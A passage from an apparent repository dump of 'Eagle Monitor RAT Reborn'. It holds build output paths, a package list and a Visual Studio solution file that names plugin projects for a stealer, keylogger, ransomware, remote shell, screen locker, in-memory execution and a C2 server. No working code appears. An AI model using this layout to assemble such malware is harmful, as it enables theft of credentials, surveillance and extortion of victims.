Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn (x64).exe\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Eagle Monitor RAT Reborn (x64).exe.config\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Eagle Monitor RAT Reborn (x64).exe.config\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Eagle Monitor RAT Reborn (x64).exe\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.ClientForm.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.AboutForm.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.MainForm.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle_Monitor_RAT_Reborn.Properties.Resources.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.GenerateResource.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn\\obj\\x64\\Release\\Eagle Monitor RAT Reborn (x64).exe\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/obj/x64/Release/_IsIncrementalBuild",
    "content": "obj\\x64\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Newtonsoft.Json\" version=\"13.0.1\" targetFramework=\"net48\" />\n  <package id=\"Vestris.ResourceLib\" version=\"2.1.0\" targetFramework=\"net48\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.2.32616.157\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Eagle Monitor RAT Reborn\", \"Eagle Monitor RAT Reborn\\Eagle Monitor RAT Reborn.csproj\", \"{76117FFD-C18B-4366-8CE8-0572E7F4FB87}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"Plugins\", \"Plugins\", \"{416B39F0-2EF5-42BB-AE33-092AF22ABD95}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"AudioRecording\", \"Plugins\\AudioRecording\\AudioRecording.csproj\", \"{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"FileManager\", \"Plugins\\FileManager\\FileManager.csproj\", \"{08BF3C47-16A4-4D13-9A5B-3130F29CC180}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Offline\", \"Plugins\\Offline\\Offline.csproj\", \"{D317BA4E-5818-4FC4-AA4E-EEA824317759}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"ProcessManager\", \"Plugins\\ProcessManager\\ProcessManager.csproj\", \"{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"RemoteCamera\", \"Plugins\\RemoteCamera\\RemoteCamera.csproj\", \"{B06314F2-338E-4E66-ACAA-A107A777A7B5}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"RemoteDesktop\", \"Plugins\\RemoteDesktop\\RemoteDesktop.csproj\", \"{5389698F-E221-466D-8682-8F289C44F1DD}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Stealer\", \"Plugins\\Stealer\\Stealer.csproj\", \"{57239258-19E3-4B07-854C-8B0A3221C45A}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"MemoryExecution\", \"Plugins\\MemoryExecution\\MemoryExecution.csproj\", \"{0607E970-CC93-4A2A-83CA-53B9D537C96E}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"PowerManager\", \"Plugins\\PowerManager\\PowerManager.csproj\", \"{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Miscellaneous\", \"Plugins\\Miscellaneous\\Miscellaneous.csproj\", \"{EAEC4642-636D-4312-8903-D70157A8E91C}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Admin\", \"Plugins\\Admin\\Admin.csproj\", \"{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Chat\", \"Plugins\\Chat\\Chat.csproj\", \"{773A4D23-189D-4353-BF37-515591E16F5A}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Keylogger\", \"Plugins\\Keylogger\\Keylogger.csproj\", \"{D60C7327-79D4-4525-95D9-ADD6B55986A8}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Information\", \"Plugins\\Information\\Information.csproj\", \"{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Hardware\", \"Plugins\\Hardware\\Hardware.csproj\", \"{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"ScreenLocker\", \"Plugins\\ScreenLocker\\ScreenLocker.csproj\", \"{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"Ransomware\", \"Plugins\\Ransomware\\Ransomware.csproj\", \"{150CA92E-FD24-4518-8B7B-BBECB4CC7578}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"ClientOptions\", \"ClientOptions\", \"{AFC1D5E4-E5FC-478E-8D0C-6065C6F1B5EF}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"HookHardware\", \"Utils\\HookHardware\\HookHardware.csproj\", \"{64C6E036-FF80-4F45-87F6-0A9996131FA1}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"PacketLib\", \"Utils\\PacketLib\\PacketLib.csproj\", \"{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"RemoteShell\", \"Plugins\\RemoteShell\\RemoteShell.csproj\", \"{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}\"\nEndProject\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"C2\", \"C2\\C2.csproj\", \"{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Any CPU = Release|Any CPU\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Debug|x64.Build.0 = Debug|x64\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|x64.ActiveCfg = Release|x64\n\t\t{76117FFD-C18B-4366-8CE8-0572E7F4FB87}.Release|x64.Build.0 = Release|x64\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11}.Release|x64.Build.0 = Release|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{08BF3C47-16A4-4D13-9A5B-3130F29CC180}.Release|x64.Build.0 = Release|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.Build.0 = Release|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C}.Release|x64.Build.0 = Release|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{B06314F2-338E-4E66-ACAA-A107A777A7B5}.Release|x64.Build.0 = Release|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{5389698F-E221-466D-8682-8F289C44F1DD}.Release|x64.Build.0 = Release|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{57239258-19E3-4B07-854C-8B0A3221C45A}.Release|x64.Build.0 = Release|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x64.Build.0 = Release|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{DCD28797-E01E-48F7-942C-6E01DF1DD9E9}.Release|x64.Build.0 = Release|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{EAEC4642-636D-4312-8903-D70157A8E91C}.Release|x64.Build.0 = Release|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.Build.0 = Release|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{773A4D23-189D-4353-BF37-515591E16F5A}.Release|x64.Build.0 = Release|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{D60C7327-79D4-4525-95D9-ADD6B55986A8}.Release|x64.Build.0 = Release|Any CPU\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Debug|x64.Build.0 = Debug|x64\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|x64.ActiveCfg = Release|x64\n\t\t{8AF7E48F-4AE9-46E3-8D94-ECB557E6A47B}.Release|x64.Build.0 = Release|x64\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32}.Release|x64.Build.0 = Release|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}.Release|x64.Build.0 = Release|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{150CA92E-FD24-4518-8B7B-BBECB4CC7578}.Release|x64.Build.0 = Release|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{64C6E036-FF80-4F45-87F6-0A9996131FA1}.Release|x64.Build.0 = Release|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{81E3752A-0AC1-4EB4-8B5F-81EEA8FFB0FF}.Release|x64.Build.0 = Release|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|x64.ActiveCfg = Debug|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Debug|x64.Build.0 = Debug|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.ActiveCfg = Release|Any CPU\n\t\t{417F720D-E20B-4EBD-BB31-FD3E4C630FAD}.Release|x64.Build.0 = Release|Any CPU\n\t\t{1F18CA9A-7410-4CEC-9CED-74F7B20393BD}.Debug|Any CPU.ActiveCfg = Debug|Any 